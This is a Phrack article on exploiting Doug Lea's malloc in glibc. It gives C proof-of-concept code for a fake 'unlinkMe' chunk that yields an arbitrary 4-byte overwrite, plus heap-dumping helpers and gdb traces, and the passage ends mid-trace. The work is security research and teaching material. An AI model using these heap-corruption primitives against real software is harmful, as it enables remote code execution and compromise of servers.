[News] [Paper Feed] [Issues] [Authors] [Archives] [Contact]

.:: Advanced Doug Lea's malloc exploits ::.

Issues: [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47] [48] [49] [50] [51] [52] [53] [54] [55] [56] [57] [58] [59] [60] [61] [62] [63] [64] [65] [66] [67] [68] [69]

Current issue : #61 | **Release date** : 2003-08-13 | **Editor** : Phrack Staff **Get tar.gz**

Title : Advanced Doug Lea's malloc exploits

Author : jp

```
                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3d, Phile #0x06 of 0x0f

|=---------------[ Advanced Doug lea's malloc exploits ]-----------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------[ jp <jp@corest.com> ]--------------------------=|
|=-----------------------------------------------------------------------=|
```

--[1. Abstract

This paper details several techniques that allow more generic and reliable exploitation of processes that provide us with the ability to overwrite an almost arbitrary 4 byte value at any location.

Higher level techniques will be constructed on top of the unlink() basic technique (presented in MaXX's article [2]) to exploit processes which allow an attacker to corrupt Doug Lea's malloc (Linux default's dynamic memory allocator).

unlink() is used to force specific information leaks of the target process memory layout. The obtained information is used to exploit the target without any prior knowledge or hardcoded values, even when randomization of main object's and/or libraries' load address is present.

Several tricks will be presented along different scenarios, including:

```
    * special chunks crafting (cushion chunk and unlinkMe chunk)
    * heap layout consciousness and analysis using debugging tools
    * automatically finding the injected shellcode in the process memory
    * forcing a remote process to provide malloc's internal structures
      addresses
    * looking for a function pointer within glibc
    * injecting the shellcode into a known memory address
```

The combination of these techniques allows to exploit the OpenSSL 'SSLv2 Malformed Client Key Buffer Overflow' [6] and the CVS 'Directory double free' [7] vulnerabilities in a fully automated way (without hardcoding any target based address or offset), for example.

--[2. Introduction

Given a vulnerability which allows us to corrupt malloc's internal structures (i.e. heap overflow, double free(), etc), we can say it 'provides' us with the ability to perform at least an 'almost arbitrary 4

bytes mirrored overwrite' primitive (aa4bmo from now on).
We say it's a 'mirrored' overwrite as the location we are writing at minus 8 will be stored in the address given by the value we are writing plus 12. Note we say almost arbitrary as we can only write values that are writable, as a side effect of the mirrored copy.
The 'primitive' concept was previously introduced in the 'Advances in format string exploitation' paper [4] and in the 'About exploits writing' presentation [5].
Previous work 'Vudo - An object superstitiously believed to embody magical power' by Michel 'MaXX' Kaempf [2] and 'Once upon a free()' [3] give fully detailed explanations on how to obtain the aa4bmo primitive from a vulnerability. At [8] and [9] can be found the first examples of malloc based exploitation.
We'll be using the unlink() technique from [2] as the basic lower level mechanism to obtain the aa4bmo primitive, which we'll use through all the paper to build higher level techniques.

```
                   malloc                           higher
vulnerability  ->  structures  ->  primitive  ->  level
                   corruption                       techniques
---------------------------------------------------------------------------
heap overflow         unlink()                         freeing the output
double free()  ->  technique   ->  aa4bmo     ->  hitting the output
...                                                 cushion chunk
                                                    ...
```

This paper focuses mainly on the question that arises after we reach the aa4bmo primitive: what should we do once we know a process allows us to overwrite four bytes of its memory with almost any arbitrary data?
In addition, tips to reach the aa4bmo primitive in a reliable way are explained.

Although the techniques are presented in the context of malloc based heap overflow exploitation, they can be employed to aid in format string exploits as well, for example, or any other vulnerability or combination of them, which provide us with similar capabilities.

The research was focused on the Linux/Intel platform; glibc-2.2.4, glibc-2.2.5 and glibc-2.3 sources were used, mainly the file malloc.c (an updated version of malloc can be found at [1]). Along this paper we'll use 'malloc' to refer to Doug Lea's malloc based implementation.

--] 3. Automating exploitation problems

When trying to answer the question 'what should we do once we know we can overwrite four bytes of the process memory with almost any arbitrary data?', we face several problems:

A] how can we be sure we are overwriting the desired bytes with the desired bytes?
As the aa4bmo primitive is the underlying layer that allows us to implement the higher level techniques, we need to be completely sure it is working as expected, even when we know we won't know where our data will be located. Also, in order to be useful, the primitive should not crash the exploited process.

B] what should we write?
We may write the address of the code we intend to execute, or we may modify a process variable. In case we inject our shellcode in the process, we need to know its location, which may vary together with the evolving process heap/stack layout.

C] where should we write?
Several known locations can be overwritten to modify the execution flow, including for example the ones shown in [10], [11], [12] and [14].
In case we are overwriting a function pointer (as when overwriting a stack frame, GOT entry, process specific function pointer, setjmp/longjmp, file descriptor function pointer, etc), we need to know its precise location.
The same happens if we plan to overwrite a process variable. For example, a GOT entry address may be different even when the source code is the same, as compilation and linking parameters may yield a different process layout, as happens with the same program source code compiled for different Linux distributions.

Along this paper, our examples will be oriented at overwriting a function pointer with the address of injected shellcode. However, some techniques also apply to other cases.

Typical exploits are target based, hardcoding at least one of the values required for exploitation, such as the address of a given GOT entry, depending on the targeted daemon version and the Linux distribution and release version. Although this simplifies the exploitation process, it is not always feasible to obtain the required information (i.e. a server can be configured to lie or to not disclose its version number). Besides, we may not have the needed information for the target. Bruteforcing more than one exploit parameter may not always be possible, if each of the values can't be obtained separately.
There are some well known techniques used to improve the reliability (probability of success) of a given exploit, but they are only an aid for improving the exploitation chances. For example, we may pad the shellcode with more nops, we may also inject a larger quantity of shellcode in the process (depending on the process being exploited) inferring there are more possibilities of hitting it that way. Although these enhancements will improve the reliability of our exploit, they are not enough for an exploit to work always on any vulnerable target. In order to create a fully reliable exploit, we'll need to obtain both the address where our shellcode gets injected and the address of any function pointer to overwrite.

In the following, we discuss how these requirements may be accomplished in an automated way, without any prior knowledge of the target server. Most of the article details how we can force a remote process to leak the required information using aa4bmo primitive.

--] 4. The techniques

--] 4.1 aa4bmo primitive

--] 4.1.1 First unlinkMe chunk

In order to be sure that our primitive is working as expected, even in scenarios where we are not able to fully predict the location of our injected fake chunk, we build the following 'unlinkMe chunk':

```
 -4        -4      what     where-8    -11      -15      -19    ...
|--------|--------|--------|--------|--------|--------|--------|...
 sizeB    sizeA    FD       BK
 ----------- nasty chunk -----------|--------|-------------------->
                                            (X)
```

We just need a free() call to hit our block after the (X) point to overwrite 'where' with 'what'.

When free() is called the following sequence takes place:

- chunk_free() tries to look for the next chunk, it takes the chunk's size (<0) and adds it to the chunk address, obtaining always the sizeA of the 'nasty chunk' as the start of the next chunk, as all the sizes after the (X) are relative to it.

- Then, it checks the prev_inuse bit of our chunk, but as we set it (each of the sizes after the (X) point has the prev_inuse bit set, the IS_MMAPPED bit is not set) it does not try to backward consolidate (because the previous chunk 'seems' to be allocated).

- Finally, it checks if the fake next chunk (our nasty chunk) is free. It takes its size (-4) to look for the next chunk, obtaining our fake sizeB, and checks for the prev_inuse flag, which is not set. So, it tries to unlink our nasty chunk from its bin to coalesce it with the chunk being freed.

- When unlink() is called, we get the aa4bmo primitive. The unlink() technique is described in [2] and [3].

--] 4.1.1.1 Proof of concept 1: unlinkMe chunk

We'll use the following code to show in a simple way the unlinkMe chunk in action:

```
#define WHAT_2_WRITE  0xbfffff00
#define WHERE_2_WRITE 0xbfffff00
#define SZ            256
#define SOMEOFFSET    5 + (rand() % (SZ-1))
#define PREV_INUSE    1
#define IS_MMAP       2
int main(void){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = WHAT_2_WRITE;
   unlinkMe[i++] = WHERE_2_WRITE-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   free(unlinkMe+SOMEOFFSET);
   return 0;
}
```

```
Breakpoint 3, free (mem=0x804987c) at heapy.c:3176

     if (mem == 0)    /* free(0) has no effect */
3181      p = mem2chunk(mem);
3185      if (chunk_is_mmapped(p))    /* release mmapped memory. */
```

We did not set the IS_MMAPPED bit.

```
3193      ar_ptr = arena_for_ptr(p);
3203      (void)mutex_lock(&ar_ptr->mutex);
3205      chunk_free(ar_ptr, p);
```

After some checks, we reach chunk_free().

```
(gdb) s
chunk_free (ar_ptr=0x40018040, p=0x8049874) at heapy.c:3221
```

Let's see how does our chunk looks at a random location...

```
(gdb) x/20x p
0x8049874:      0xfffffd71      0xfffffd6d      0xfffffd69      0xfffffd65
0x8049884:      0xfffffd61      0xfffffd5d      0xfffffd59      0xfffffd55
0x8049894:      0xfffffd51      0xfffffd4d      0xfffffd49      0xfffffd45
0x80498a4:      0xfffffd41      0xfffffd3d      0xfffffd39      0xfffffd35
0x80498b4:      0xfffffd31      0xfffffd2d      0xfffffd29      0xfffffd25
```

We dumped the chunk including its header, as received by chunk_free().

```
3221      INTERNAL_SIZE_T hd = p->size; /* its head field */
3235      sz = hd & ~PREV_INUSE;

(gdb) p/x hd
$5 = 0xfffffd6d
(gdb) p/x sz
$6 = 0xfffffd6c

3236      next = chunk_at_offset(p, sz);
3237      nextsz = chunksize(next);
```

Using the negative relative size, chunk_free() gets the next chunk, let's see which is the 'next' chunk:

```
(gdb) x/20x next
0x80495e0:      0xfffffffc      0xfffffffc      0xbfffff00      0xbffffef8
0x80495f0:      0xfffffff5      0xfffffff1      0xffffffed      0xffffffe9
0x8049600:      0xffffffe5      0xffffffe1      0xffffffdd      0xffffffd9
0x8049610:      0xffffffd5      0xffffffd1      0xffffffcd      0xffffffc9
0x8049620:      0xffffffc5      0xffffffc1      0xffffffbd      0xffffffb9
```

```
(gdb) p/x nextsz
$7 = 0xfffffffc
```

It's our nasty chunk...

```
3239      if (next == top(ar_ptr))    /* merge with top */
3278      islr = 0;
3280      if (!(hd & PREV_INUSE))   /* consolidate backward */
```

We avoid the backward consolidation, as we set the PREV_INUSE bit.

```
3294      if (!(inuse_bit_at_offset(next, nextsz)))
                /* consolidate forward */
```

But we force a forward consolidation. The inuse_bit_at_offset() macro adds nextsz (-4) to our nasty chunk's address, and looks for the PREV_INUSE bit in our other -4 size.

```
3296        sz += nextsz;
3298        if (!islr && next->fd == last_remainder(ar_ptr))
3306          unlink(next, bck, fwd);
```

unlink() is called with our supplied values: 0xbffffef8 and 0xbfffff00 as forward and backward pointers (it does not crash, as they are valid addresses).

```
             next = chunk_at_offset(p, sz);
3315      set_head(p, sz | PREV_INUSE);
3316      next->prev_size = sz;
3317      if (!islr) {
3318        frontlink(ar_ptr, p, sz, idx, bck, fwd);
```

fronlink() is called and our chunk is inserted in the proper bin.

```
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049a40 - top size = 0x05c0
   bin 126 @ 0x40018430
      free_chunk @ 0x80498d8 - size 0xfffffd64
```

The chunk was inserted into one of the bigger bins... as a consequence of its 'negative' size.
The process won't crash if we are able to maintain this state. If more calls to free() hit our chunk, it won't crash. But it will crash in case a malloc() call does not find any free chunk to satisfy the allocation requirement and tries to split one of the bins in the bin number 126, as it will try to calculate where is the chunk after the fake one, getting out of the valid address range because of the big 'negative' size (this may not happen in a scenario where there is enough memory allocated between the fake chunk and the top chunk, forcing this layout is not very difficult when the target server does not impose tight limits to our requests size).

We can check the results of the aa4bmo primitive:

```
(gdb) x/20x 0xbfffff00

                                !!!!!!!!!!                      !!!!!!!!!!
0xbfffff00:     0xbfffff00      0x414c0065      0x653d474e      0xbffffef8
0xbfffff10:     0x6f73692e      0x39353838      0x53003531      0x415f4853
0xbfffff20:     0x41504b53      0x2f3d5353      0x2f727375      0x6562696c
0xbfffff30:     0x2f636578      0x6e65706f      0x2f687373      0x6d6f6e67
0xbfffff40:     0x73732d65      0x73612d68      0x7361706b      0x4f480073
```

If we add some bogus calls to free() in the following way:

```
   for(i=0;i<5;i++) free(unlinkMe+SOMEOFFSET);
```

we obtain the following result for example:

```
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 126 @ 0x40018430
      free_chunk @ 0x8049958 - size 0x8049958
      free_chunk @ 0x8049954 - size 0xfffffd68
      free_chunk @ 0x8049928 - size 0xfffffd94
      free_chunk @ 0x8049820 - size 0x40018430
      free_chunk @ 0x80499c4 - size 0xfffffcf8
      free_chunk @ 0x8049818 - size 0xfffffea4
```

without crashing the process.

--] 4.1.2 New unlinkMe chunk

Changes introduced in newer libc versions (glibc-2.3 for example) affect our unlinkMe chunk. The main problem for us is related to the addition of one flag bit more. SIZE_BITS definition was modified, from:

```
#define SIZE_BITS (PREV_INUSE|IS_MMAPPED)
```

to:

```
#define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA)
```

The new flag, NON_MAIN_ARENA is defined like this:

```
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
   from a non-main arena.  This is only set immediately before handing
   the chunk to the user, if necessary.  */
#define NON_MAIN_ARENA 0x4
```

This makes our previous unlinkMe chunk to fail in two different points in systems using a newer libc.

Our first problem is located within the following code:

```
public_fREe(Void_t* mem)
{
...
  ar_ptr = arena_for_chunk(p);
...
  _int_free(ar_ptr, mem);
...
```

where:

```
#define arena_for_chunk(ptr) \
 (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)
```

and

```
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
```

If heap_for_ptr() is called when processing our fake chunk, the process crashes in the following way:

```
0x42074a04 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a04 <free+84>:      and    $0x4,%edx
(gdb) x/20x $edx
0xffffffdd:     Cannot access memory at address 0xffffffdd

0x42074a07 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a07 <free+87>:      je     0x42074a52 <free+162>

0x42074a09 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a09 <free+89>:      and    $0xfff00000,%eax

0x42074a0e in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a0e <free+94>:      mov    (%eax),%edi
(gdb) x/x $eax
0x8000000:      Cannot access memory at address 0x8000000

Program received signal SIGSEGV, Segmentation fault.
0x42074a0e in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a0e <free+94>:      mov    (%eax),%edi
```

So, the fake chunk size has to have its NON_MAIN_ARENA flag not set.

Then, our second problem takes places when the supplied size is masked with the SIZE_BITS. Older code looked like this:

```
      nextsz = chunksize(next);
0x400152e2 <chunk_free+64>:        mov    0x4(%edx),%ecx
0x400152e5 <chunk_free+67>:        and    $0xfffffffc,%ecx
```

and new code is:

```
      nextsize = chunksize(nextchunk);
0x42073fe0 <_int_free+112>:     mov    0x4(%ecx),%eax
0x42073fe3 <_int_free+115>:     mov    %ecx,0xffffffec(%ebp)
0x42073fe6 <_int_free+118>:     mov    %eax,0xffffffe4(%ebp)
0x42073fe9 <_int_free+121>:     and    $0xfffffff8,%eax
```

So, we can't use -4 anymore, the smaller size we can provide is -8.
Also, we are not able anymore to make every chunk to point to our nasty chunk. The following code shows our new unlinkMe chunk which solves both problems:

```
unsigned long *aa4bmoPrimitive(unsigned long what,
                               unsigned long where,unsigned long sz){
   unsigned long *unlinkMe;
   int i=0;

   if(sz<13) sz = 13;
   unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
    // 1st nasty chunk
   unlinkMe[i++] = -4;    // PREV_INUSE is not set
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
    // 2nd nasty chunk
   unlinkMe[i++] = -4; // PREV_INUSE is not set
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<sz;i++)
      if(i%2)
            // relative negative offset to 1st nasty chunk
         unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
      else
            // relative negative offset to 2nd nasty chunk
         unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;

   free(unlinkMe+SOMEOFFSET(sz));
   return unlinkMe;
}
```

The process is similar to the previously explained for the first unlinkMe chunk version. Now, we are using two nasty chunks, in order to be able to point every chunk to one of them. Also, we added a -4 (PREV_INUSE flag not set) before each of the nasty chunks, which is accessed in step 3 of the '4.1.1 First unlinkMe chunk' section, as -8 is the smaller size we can provide.

This new version of the unlinkMe chunk works both in older and newer libc versions. Along the article most proof of concept code uses the first version, replacing the aa4bmoPrimitive() function is enough to obtain an updated version.

--] 4.2 Heap layout analysis

You may want to read the 'Appendix I - malloc internal structures overview' section before going on.
Analysing the targeted process heap layout and its evolution allows to understand what is happening in the process heap in every moment, its state, evolution, changes... etc. This allows to predict the allocator

behavior and its reaction to each of our inputs.

Being able to predict the heap layout evolution, and using it to our advantage is extremely important in order to obtain a reliable exploit.

To achieve this, we'll need to understand the allocation behavior of the process (i.e. if the process allocates large structures for each connection, if lots of free chunks/heap holes are generated by a specific command handler, etc), which of our inputs may be used to force a big/small allocation, etc.

We must pay attention to every use of the malloc routines, and how/where we might be able to influence them via our input so that a reliable situation is reached.

For example, in a double free() vulnerability scenario, we know the second free() call (trying to free already freed memory), will probably crash the process. Depending on the heap layout evolution between the first free() and the second free(), the portion of memory being freed twice may: have not changed, have been reallocated several times, have been coalesced with other chunks or have been overwritten and freed.

The main factors we have to recognize include:

A] chunk size: does the process allocate big memory chunks? is our input stored in the heap? what commands are stored in the heap? is there any size limit to our input? am I able to force a heap top (top_chunk) extension?

B] allocation behavior: are chunks allocated for each of our connections? what size? are chunks allocated periodically? are chunks freed periodically? (i.e. async garbage collector, cache pruning, output buffers, etc)

C] heap holes: does the process leave holes? when? where? what size? can we fill the hole with our input? can we force the overflow condition in this hole? what is located after the hole? are we able to force the creation of holes?

D] original heap layout: is the heap layout predictable after process initialization? after accepting a client connection? (this is related to the server mode)

During our tests, we use an adapted version of a real malloc implementation taken from the glibc, which was modified to generate debugging output for each step of the allocator's algorithms, plus three helper functions added to dump the heap layout and state.

This allows us to understand what is going on during exploitation, the actual state of the allocator internal structures, how our input affects them, the heap layout, etc.

Here is the code of the functions we'll use to dump the heap state:

```
static void
#if __STD_C
heap_dump(arena *ar_ptr)
#else
heap_dump(ar_ptr) arena *ar_ptr;
#endif
{
  mchunkptr p;

  fprintf(stderr,"\n--- HEAP DUMP ---\n");
  fprintf(stderr,
            "             ADDRESS   SIZE               FD            BK\n");

  fprintf(stderr,"sbrk_base %p\n",
          (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
            ~MALLOC_ALIGN_MASK));

  p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
                  ~MALLOC_ALIGN_MASK);

  for(;;) {
    fprintf(stderr, "chunk     %p 0x%.4x", p, (long)p->size);

    if(p == top(ar_ptr)) {
      fprintf(stderr, " (T)\n");
      break;
    } else if(p->size == (0|PREV_INUSE)) {
      fprintf(stderr, " (Z)\n");
      break;
    }

    if(inuse(p))
       fprintf(stderr," (A)");
    else
       fprintf(stderr," (F) | 0x%8x | 0x%8x |",p->fd,p->bk);

    if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr)))
       fprintf(stderr," (LR)");
    else if(p->fd==p->bk & ~inuse(p))
       fprintf(stderr," (LC)");

    fprintf(stderr,"\n");
    p = next_chunk(p);
  }
  fprintf(stderr,"sbrk_end  %p\n",sbrk_base+sbrked_mem);
}



static void
#if __STD_C
heap_layout(arena *ar_ptr)
#else
heap_layout(ar_ptr) arena *ar_ptr;
#endif
{
  mchunkptr p;

  fprintf(stderr,"\n--- HEAP LAYOUT ---\n");

  p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
                ~MALLOC_ALIGN_MASK);

  for(;;p=next_chunk(p)) {
    if(p==top(ar_ptr)) {
       fprintf(stderr,"|T|\n\n");
       break;
    }
    if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) {
       fprintf(stderr,"|L|");
       continue;
    }
    if(inuse(p)) {
       fprintf(stderr,"|A|");
       continue;
    }
       fprintf(stderr,"|%lu|",bin_index(p->size));
       continue;
    }
  }
}



static void
#if __STD_C
bin_dump(arena *ar_ptr)
#else
bin_dump(ar_ptr) arena *ar_ptr;
#endif
{
  int i;
  mbinptr b;
  mchunkptr p;

  fprintf(stderr,"\n--- BIN DUMP ---\n");

  (void)mutex_lock(&ar_ptr->mutex);

  fprintf(stderr,"arena @ %p - top @ %p - top size = 0x%.4x\n",
         ar_ptr,top(ar_ptr),chunksize(top(ar_ptr)));
  for (i = 1; i < NAV; ++i)
  {
    char f = 0;
    b = bin_at(ar_ptr, i);
    for (p = last(b); p != b; p = p->bk)
    {
      if(!f){
         f = 1;
         fprintf(stderr,"   bin %d @ %p\n",i,b);
      }
      fprintf(stderr,"      free_chunk @ %p - size 0x%.4x\n",
             p,chunksize(p));
    }
  (void)mutex_unlock(&ar_ptr->mutex);
  fprintf(stderr,"\n");
}
```

--] 4.2.1 Proof of concept 2: Heap layout debugging

We'll use the following code to show how the debug functions help to analyse the heap layout:

```
#include <malloc.h>
int main(void){
        void *curly,*larry,*moe,*po,*lala,*dipsi,*tw,*piniata;
        curly = malloc(256);
        larry = malloc(256);
        moe = malloc(256);
        po = malloc(256);
        lala = malloc(256);
        free(larry);
        free(po);
        tw = malloc(128);
        piniata = malloc(128);
        dipsi = malloc(1500);
        free(dipsi);
        free(lala);
}
```

The sample debugging section helps to understand malloc's basic algorithms and data structures:

```
(gdb) set env LD_PRELOAD ./heapy.so
```

We override the real malloc with our debugging functions, heapy.so also includes the heap layout dumping functions.

```
(gdb) r
Starting program: /home/jp/cerebro/heapy/debugging_sample

4               curly = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    extended top chunk:
        previous size 0x0
        new top 0x80496a0 size 0x961
        returning 0x8049598 from top chunk

(gdb) p heap_dump(0x40018040)

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0961 (T)
sbrk_end  0x804a000

(gdb) p bin_dump(0x40018040)

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80496a0 - top size = 0x0960
```

```
(gdb) p heap_layout(0x40018040)

--- HEAP LAYOUT ---
|A||T|
```

The first chunk is allocated, note the difference between the requested size (256 bytes) and the size passed to chunk_alloc(). As there is no chunk, the top needs to be extended and memory is requested to the operating system. More memory than the needed is requested, the remaining space is allocated to the 'top chunk'.
In the heap_dump()'s output the (A) represents an allocated chunk, while the (T) means the chunk is the top one. Note the top chunk's size (0x961) has its last bit set, indicating the previous chunk is allocated:

```
/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use
 */

#define PREV_INUSE 0x1UL
```

The bin_dump()'s output shows no bin, as there is no free chunk yet, except from the top. The heap_layout()'s output just shows an allocated chunk next to the top.

```
5               larry = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80496a0 from top chunk
    new top 0x80497a8 size 0x859

--- HEAP DUMP ---
            ADDRESS   SIZE               FD            BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0859 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80497a8 - top size = 0x0858

--- HEAP LAYOUT ---
|A||A||T|
```

A new chunk is allocated from the remaining space at the top chunk. The same happens with the next malloc() calls.

```
6               moe = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80497a8 from top chunk
    new top 0x80498b0 size 0x751

--- HEAP DUMP ---
            ADDRESS   SIZE               FD            BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0751 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80498b0 - top size = 0x0750

--- HEAP LAYOUT ---
|A||A||A||T|
7               po = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80498b0 from top chunk
    new top 0x80499b8 size 0x649

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0649 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80499b8 - top size = 0x0648

--- HEAP LAYOUT ---
|A||A||A||A||T|



8               lala = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80499b8 from top chunk
    new top 0x8049ac0 size 0x541

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0109 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540

--- HEAP LAYOUT ---
|A||A||A||A||A||T|



9               free(larry);
[1679] FREE(0x80496a8) - CHUNK_FREE(0x40018040,0x80496a0)
    fronlink(0x80496a0,264,33,0x40018148,0x40018148) new free chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0109 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 33 @ 0x40018148
      free_chunk @ 0x80496a0 - size 0x0108

--- HEAP LAYOUT ---
|A||33||A||A||A||T|
```

A chunk is freed. The frontlink() macro is called to insert the new free chunk into the corresponding bin:

```
frontlink(ar_ptr, new_free_chunk, size, bin_index, bck, fwd);
```

Note the arena address parameter (ar_ptr) was omitted in the output. In this case, the chunk at 0x80496a0 was inserted in the bin number 33 according to its size. As this chunk is the only one in its bin (we can check this in the bin_dump()'s output), it's a lonely chunk (LC) (we'll see later that being lonely makes 'him' dangerous...), its bk and fd pointers are equal and point to the bin number 33. In the heap_layout()'s output, the new free chunk is represented by the number of the bin where it is located.

```
10              free(po);

[1679] FREE(0x80498b8) - CHUNK_FREE(0x40018040,0x80498b0)
    fronlink(0x80498b0,264,33,0x40018148,0x80496a0) new free chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (F) | 0x40018148 | 0x080498b0 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (F) | 0x080496a0 | 0x40018148 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 33 @ 0x40018148
      free_chunk @ 0x80496a0 - size 0x0108
      free_chunk @ 0x80498b0 - size 0x0108

--- HEAP LAYOUT ---
|A||33||A||33||A||T|
```

Now, we have two free chunks in the bin number 33. We can appreciate now how the double linked list is built. The forward pointer of the chunk at 0x80498b0 points to the other chunk in the list, the backward pointer points to the list head, the bin.
Note that there is no longer a lonely chunk. Also, we can see the difference between a heap address and a libc address (the bin address), 0x080496a0 and 0x40018148 respectively.

```
11              tw = malloc(128);

[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136)
    unlink(0x80496a0,0x80498b0,0x40018148) from big bin 33 chunk 1 (split)
    new last_remainder 0x8049728

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x40018048 | 0x40018048 | (LR)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC)
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 1 @ 0x40018048
      free_chunk @ 0x8049728 - size 0x0080
   bin 33 @ 0x40018148
      free_chunk @ 0x80498b0 - size 0x0108
```

```
--- HEAP LAYOUT ---
|A||A||L||A||33||A||T|
```

In this case, the requested size for the new allocation is smaller than the size of the available free chunks. So, the first freed buffer is taken from the bin with the unlink() macro and splitted. The first part is allocated, the remaining free space is called the 'last remainder', which is always stored in the first bin, as we can see in the bin_dump()'s output.
In the heap_layout()'s output, the last remainder chunk is represented with a L; in the heap_dump()'s output, (LR) is used.

```
12              piniata = malloc(128);

[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136)
    clearing last_remainder
    frontlink(0x8049728,128,16,0x400180c0,0x400180c0) last_remainder
    unlink(0x80498b0,0x40018148,0x40018148) from big bin 33 chunk 1 (split)
    new last_remainder 0x8049938

--- HEAP DUMP ---
            ADDRESS   SIZE               FD            BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x40018048 | 0x40018048 | (LR)
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000
$25 = void

--- BIN DUMP ---
